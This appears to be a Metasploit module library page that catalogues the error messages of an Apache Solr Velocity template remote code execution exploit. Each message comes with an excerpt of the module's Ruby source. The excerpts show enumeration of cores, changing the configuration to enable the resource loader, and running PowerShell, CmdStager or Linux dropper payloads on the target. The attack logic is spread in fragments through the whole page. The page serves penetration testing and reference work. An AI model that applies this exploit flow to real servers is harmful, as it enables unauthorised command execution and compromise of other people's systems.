219:	      'auth' => @auth_string
220:	    )
221:	
222:	    # can't connect? that's yet another automatic failure
223:	    unless cores
224:	      return CheckCode::Unknown('Could not enumerate cores!')
225:	    end
226:	
227:	    # convert to JSON yet again
228:	    cores_json = cores.get_json_document
229:	    # draw up an array of all the cores

No cores found, nothing to exploit!


Here is a relevant code snippet related to the "No cores found, nothing to exploit!" error message:

233:	      cores_list.push(core_name)
234:	    end
235:	
236:	    # no cores? that means nothing to exploit.
237:	    if cores_list.empty?
238:	      return CheckCode::Safe('No cores found, nothing to exploit!')
239:	    end
240:	
241:	    # got cores? tell the operator which cores were found
242:	    print_status("Found core(s): #{cores_list.join(', ')}")
243:	    possibly_vulnerable_cores = {}

Failed to get queryResponseWriter configuration for core '<CORE>'


Here is a relevant code snippet related to the "Failed to get queryResponseWriter configuration for core '<CORE>'" error message:

245:	    cores_list.each do |core|
246:	      # for each core, attempt to get config
247:	      core_config_json = get_response_writer_config(core.to_s)
248:	
249:	      if core_config_json.dig('config', 'queryResponseWriter').blank?
250:	        print_error("Failed to get queryResponseWriter configuration for core '#{core}'")
251:	        next
252:	      end
253:	
254:	      core_config_json['config']['queryResponseWriter'].each do |writer_name, writer_config|
255:	        # The default name is 'velocity' but a queryResponseWriter can have an

params.resource.loader.enabled for core '<CORE>' is set to false.


Here is a relevant code snippet related to the "params.resource.loader.enabled for core '<CORE>' is set to false." error message:

263:	        if writer_config['params.resource.loader.enabled'] == 'true'
264:	          print_good("params.resource.loader.enabled for core '#{core}' is set to true.")
265:	          possibly_vulnerable_cores.store(core, writer_name)
266:	        else
267:	          # if params.resource.loader.enabled is false, we need to set it to true before exploitation
268:	          print_warning("params.resource.loader.enabled for core '#{core}' is set to false.")
269:	          possibly_vulnerable_cores.store(core, false)
270:	        end
271:	      end
272:	    end
273:	

No cores are vulnerable!


Here is a relevant code snippet related to the "No cores are vulnerable!" error message:

271:	      end
272:	    end
273:	
274:	    # look at the array of possibly vulnerable cores
275:	    if possibly_vulnerable_cores.empty?
276:	      CheckCode::Safe('No cores are vulnerable!')
277:	    else
278:	      # if possible, pick a core that already has params.resource.loader.enabled set to true
279:	      possibly_vulnerable_cores.each do |core|
280:	        if core[1]
281:	          @vuln_core = core

Could not retrieve configuration for core '<CORE>'!


Here is a relevant code snippet related to the "Could not retrieve configuration for core '<CORE>'!" error message:

297:	    )
298:	
299:	    if core_config
300:	      return core_config.get_json_document
301:	    else
302:	      print_error("Could not retrieve configuration for core '#{core}'!")
303:	      return nil
304:	    end
305:	  end
306:	
307:	  def change_response_writer(core, verb: 'update')

Connection failed!


Here is a relevant code snippet related to the "Connection failed!" error message:

332:	
333:	    print_status("params.resource.loader.enabled is false for '#{core}', trying to #{verb} it...")
334:	    update_config = send_request_cgi(opts_post)
335:	
336:	    unless update_config
337:	      fail_with Failure::Unreachable, 'Connection failed!'
338:	    end
339:	
340:	    # if we got anything other than a 200 back, the configuration update failed and the exploit won't work
341:	    unless update_config.code == 200
342:	      fail_with Failure::UnexpectedReply, 'Unable to update config, exploit failed!'

Unable to update config, exploit failed!


Here is a relevant code snippet related to the "Unable to update config, exploit failed!" error message:

337:	      fail_with Failure::Unreachable, 'Connection failed!'
338:	    end
339:	
340:	    # if we got anything other than a 200 back, the configuration update failed and the exploit won't work
341:	    unless update_config.code == 200
342:	      fail_with Failure::UnexpectedReply, 'Unable to update config, exploit failed!'
343:	    end
344:	
345:	    update_config.get_json_document
346:	  end
347:	

Target is most likely not vulnerable!


Here is a relevant code snippet related to the "Target is most likely not vulnerable!" error message:

346:	  end
347:	
348:	  # the exploit method
349:	  def exploit
350:	    unless [CheckCode::Vulnerable].include? check
351:	      fail_with Failure::NotVulnerable, 'Target is most likely not vulnerable!'
352:	    end
353:	
354:	    print_status("Targeting core '#{@vuln_core[0]}'")
355:	
356:	    # if params.resource.loader.enabled for that core is false

errorMessages


Here is a relevant code snippet related to the "errorMessages" error message:

355:	
356:	    # if params.resource.loader.enabled for that core is false
357:	    if !@vuln_core[1]
358:	      response_json = change_response_writer(@vuln_core[0], verb: 'update')
359:	
360:	      if response_json.key?('errorMessages')
361:	        server_error = response_json['errorMessages'].first['errorMessages']&.first
362:	        print_error("Error updating config, here's the message from the server: \"#{server_error}\"")
363:	        # rubocop:disable Lint/UselessAssignment
364:	        response_json = change_response_writer(@vuln_core[0], verb: 'create')
365:	        # rubocop:enable Lint/UselessAssignment

errorMessages


Here is a relevant code snippet related to the "errorMessages" error message:

356:	    # if params.resource.loader.enabled for that core is false
357:	    if !@vuln_core[1]
358:	      response_json = change_response_writer(@vuln_core[0], verb: 'update')
359:	
360:	      if response_json.key?('errorMessages')
361:	        server_error = response_json['errorMessages'].first['errorMessages']&.first
362:	        print_error("Error updating config, here's the message from the server: \"#{server_error}\"")
363:	        # rubocop:disable Lint/UselessAssignment
364:	        response_json = change_response_writer(@vuln_core[0], verb: 'create')
365:	        # rubocop:enable Lint/UselessAssignment
366:	      end

Error updating config, here's the message from the server: "<SERVER_ERROR>"


Here is a relevant code snippet related to the "Error updating config, here's the message from the server: "<SERVER_ERROR>"" error message:

357:	    if !@vuln_core[1]
358:	      response_json = change_response_writer(@vuln_core[0], verb: 'update')
359:	
360:	      if response_json.key?('errorMessages')
361:	        server_error = response_json['errorMessages'].first['errorMessages']&.first
362:	        print_error("Error updating config, here's the message from the server: \"#{server_error}\"")
363:	        # rubocop:disable Lint/UselessAssignment
364:	        response_json = change_response_writer(@vuln_core[0], verb: 'create')
365:	        # rubocop:enable Lint/UselessAssignment
366:	      end
367:	    end

Config change appears to have failed but I'll try anyway. Wish me luck.


Here is a relevant code snippet related to the "Config change appears to have failed but I'll try anyway. Wish me luck." error message:

369:	    core_config_json = get_response_writer_config(@vuln_core[0])
370:	
371:	    if core_config_json.dig('config', 'queryResponseWriter', 'velocity', 'params.resource.loader.enabled')
372:	      print_good("params.resource.loader.enabled is true for core '#{@vuln_core[0]}'")
373:	    else
374:	      print_warning("Config change appears to have failed but I'll try anyway. Wish me luck.")
375:	    end
376:	
377:	    case target.name
378:	    when /Java/
379:	      @classloader_uri = start_service

Target is found to be Windows, please select the proper target!


Here is a relevant code snippet related to the "Target is found to be Windows, please select the proper target!" error message:

383:	
384:	    # windows...
385:	    if @target_platform.include? 'Windows'
386:	      # if target is wrong, warn and exit before doing anything
387:	      unless target.name.include? 'Windows'
388:	        fail_with Failure::BadConfig, 'Target is found to be Windows, please select the proper target!'
389:	      end
390:	
391:	      case target['Type']
392:	      # PowerShell...
393:	      when :windows_psh

Connection failed!


Here is a relevant code snippet related to the "Connection failed!" error message:

392:	      # PowerShell...
393:	      when :windows_psh
394:	        # need PowerShell for this
395:	        winenv_path = execute_command('C:\\Windows\\System32\\cmd.exe /c PATH', 'auth_string' => @auth_string, 'core_name' => @vuln_core[0], 'winenv_check' => true)
396:	        unless winenv_path
397:	          fail_with Failure::Unreachable, 'Connection failed!'
398:	        end
399:	
400:	        # did the command to check for PATH execute?
401:	        unless winenv_path.code == 200
402:	          fail_with Failure::UnexpectedReply, 'Unexpected reply from target, aborting!'

Unexpected reply from target, aborting!


Here is a relevant code snippet related to the "Unexpected reply from target, aborting!" error message:

397:	          fail_with Failure::Unreachable, 'Connection failed!'
398:	        end
399:	
400:	        # did the command to check for PATH execute?
401:	        unless winenv_path.code == 200
402:	          fail_with Failure::UnexpectedReply, 'Unexpected reply from target, aborting!'
403:	        end
404:	
405:	        # is PowerShell in PATH?
406:	        if /powershell/i =~ winenv_path.body.to_s
407:	          # only interested in the contents of PATH. Everything before it is irrelevant

PowerShell not found!


Here is a relevant code snippet related to the "PowerShell not found!" error message:

421:	            # exploit the thing
422:	            execute_command(psh_cmd, 'auth_string' => @auth_string, 'core_name' => @vuln_core[0])
423:	            break
424:	          end
425:	        else
426:	          fail_with Failure::BadConfig, 'PowerShell not found!'
427:	        end
428:	      # ... CmdStager ...
429:	      when :windows_cmdstager
430:	        print_status('Sending CmdStager payload...')
431:	        execute_cmdstager(linemax: 7130, 'auth_string' => @auth_string, 'core_name' => @vuln_core[0])

Target is found to be nix-based, please select the proper target!


Here is a relevant code snippet related to the "Target is found to be nix-based, please select the proper target!" error message:

438:	
439:	    # ... or nix-based?
440:	    if @target_platform.include? 'Linux'
441:	      # if target is wrong, warn and exit before doing anything
442:	      if target.name.include? 'Windows'
443:	        fail_with Failure::BadConfig, 'Target is found to be nix-based, please select the proper target!'
444:	      end
445:	
446:	      case target['Type']
447:	      when :linux_dropper
448:	        execute_cmdstager('auth_string' => @auth_string, 'core_name' => @vuln_core[0])

Velocity template caused an exception on the server


Here is a relevant code snippet related to the "Velocity template caused an exception on the server" error message:

518:	    # This will give you a Java stack trace from the remote side to help with
519:	    # debugging payload templates.
520:	    if raw_result&.code != 200
521:	      # pp raw_result.headers
522:	      vprint_error raw_result.body
523:	      fail_with Failure::PayloadFailed, 'Velocity template caused an exception on the server'
524:	    end
525:	  end
526:	
527:	  # sic 'em, bois!
528:	  def execute_command(cmd, opts = {})

Payload failed to execute!


Here is a relevant code snippet related to the "Payload failed to execute!" error message:

571:	
572:	    # for printing command output
573:	    unless raw_result.nil?
574:	      unless raw_result.code == 200
575:	        vprint_error raw_result.body
576:	        fail_with Failure::PayloadFailed, 'Payload failed to execute!'
577:	      end
578:	
579:	      # to get pretty output
580:	      result_inter = raw_result.body.to_s.sub("0\n", ':::').split(':::').last
581:	      unless result_inter.nil?

Go back to menu.


References


See Also


Related Nessus plugins:

Authors


  • s00py
  • jas502n
  • AleWong
  • Imran E. Dawoodjee <imran[at]threathounds.com>

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.